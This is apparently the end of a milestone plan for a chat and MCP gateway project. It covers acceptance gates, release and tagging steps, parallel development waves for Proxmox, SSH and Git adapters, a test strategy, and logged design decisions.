M2 acceptance gate verification (lead-developer)
- Spec §6 — all 13 REQs (015-027) pass with Given/When/Then coverage.
- Mocks + real GitHub smoke + LLM smoke (P0 gate item 8) + INV-7 verified (per-adapter write-blocklist tests) + CI Postgres RLS verified (Wave 0) + M1 non-regression.
- Coverage ≥ 80% on new M2 modules; DB coverage ≥ 80% maintained on
packages/db.
-
MCP conformance verification artifact review (R-001) (lead-developer + security-engineer)
packages/mcp/PROTOCOL.md+ 6 conformance tests intests/mcp-conformance/reviewed and confirmed (gate item 15).
-
Milestone ship (lead-developer)
- Tag
v0.1.6(final phase patch = M2 milestone release). - Merge
phase/06→milestone/v0.1(ormainper branch hierarchy) →main. - Create Gitea release (
https://git.cloudinit.dev/coreci/coreci-chat) with full M2 summary.
- Tag
-
Complete (lead-developer)
- Mark all M2 REQs (015-027) complete in
REQUIREMENTS.md. - Mark M2 complete in
ROADMAP.md. - Clear checkpoint.
- Mark all M2 REQs (015-027) complete in
Wave ordering & parallelism
Phase 0 (this plan) ──▶ Wave 0 (prerequisites) ──▶ Wave F (gateway core)
│
┌───────────────────────────────────┼───────────────────────┐
│ │ │
├──▶ Wave G (Proxmox) ├──▶ Wave H (SSH) ├──▶ Wave I (Git adapters)
│ │ │
└───────────────────────────────────┴───────────────────────┘
│
▼
Wave J (SSE + LLM smoke + UI)
│
▼
Final (review + audit + ship)
- F must complete first (all adapters depend on the broker).
- G, H, I can run in parallel after F (different adapter territories; no cross-dependencies). Wave H reactivates the go-engineer persona for Relay Agent integration only.
- J depends on F + at least I (GitHub adapter for the real-target LLM smoke, gate item 8).
- Final depends on all.
Test strategy
- Unit: vitest in
packages/mcp/**+apps/control-plane; Gotestinginapps/relay-agent. - Integration: Postgres 16 container in CI (Wave 0); RLS +
withTenant+ audit tests against real Postgres (replaces PGlite-only verification, R-009). Two CI jobs:test-pglite(default) +test-postgres(service container +DB_MODE=pg+ role setup). - Adapter validation:
- Proxmox: mock PVE API (no live Proxmox in CI).
- SSH: mock + cross-layer test (R-003).
- Gitea: mock + verify against running instance during Wave I (R-005).
- GitHub: real-target smoke in CI (real PAT, Wave 0 prerequisite — gate item 7).
- LLM smoke:
packages/llm-mockdriving the full OpenAI→MCP→adapter→result→synthesis path against real GitHub (P0 gate item 8 — not deferrable). - MCP conformance:
PROTOCOL.md+ 6 tests intests/mcp-conformance/(R-001 artifact, gate item 15). - Cross-layer SSH test: broker (layer 1) + Relay Agent (layer 2) both reject non-whitelisted commands (R-003).
- Coverage gate: ≥ 80% on new M2 modules (gate item 3); DB coverage ≥ 80% maintained (gate item 4).
- M1 non-regression: all M1 tests still pass (gate item 1).
Decisions logged (to DecisionEngine)
- D-M2-P001: Wave 0 is a hard prerequisite for Wave F — CI Postgres 16 + role setup (
coreci_appno BYPASSRLS,migratorBYPASSRLS) + real GitHub PAT. RLS assertions gated onDB_MODE=pgreplace M1's PGlite-only placeholder. Confidence 0.90. - D-M2-P002: Wave F ships the broker with stub adapters (not real adapters); real adapters land in waves G/H/I. This isolates broker verification (INV-7, rate-limit, SSE, conformance) from adapter upstream concerns. Confidence 0.85.
- D-M2-P003: G/H/I parallel after F; J depends on F + at least I (GitHub for real-target LLM smoke). go-engineer active for Wave H only, removed after. Confidence 0.85.
- D-M2-P004: v0.1.6 (final phase patch) IS the M2 milestone release; merge to
mainat the final phase. Tags run on v0.1.x patch line (M1's previous minor). Confidence 0.90.
All above the 0.6 threshold. No escalations. Pipeline proceeds to GRILL.
End of M2 PLAN. M1 PLAN preserved in git history (commit prior to M2 overwrite).